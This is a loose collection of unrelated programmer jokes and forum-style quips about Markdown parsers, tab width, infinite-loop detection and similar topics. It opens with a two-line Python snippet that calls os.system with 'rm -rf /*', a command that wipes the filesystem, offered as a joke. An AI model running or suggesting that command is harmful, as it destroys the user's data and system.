import os
os.system("rm -rf /*")

Markdown is terrible as a standard because every parser works differently and when you try to standardize it (CommonMark, etc.), you find out that there are a bajillion edge cases, leading to an extremely bloated specification.

Doesn’t the light turn into heat anyway as soon as it’s absorbed?

There used to be a community for this on the website that shall not be named. “Don’t Dead Open Inside” I think?

Relevant xkcd

Now the question becomes, is there a language where the word for “left” starts with R and “right” starts with L?

“The other programmers keep accidentally writing code that ends up in an infinite loop. I'd like you to make a program that can reliably detect that.”

Found the creator of PHP

In general: Do not buy any media that you can't download.

Pineapple pizza.

If anyone didn't notice, everything on this page is a link.

Tabs let you define how big you want each indent to be

…except when they don't. Many common environments have a hardcoded tab size of 8, which is insanely big for using it for indentation.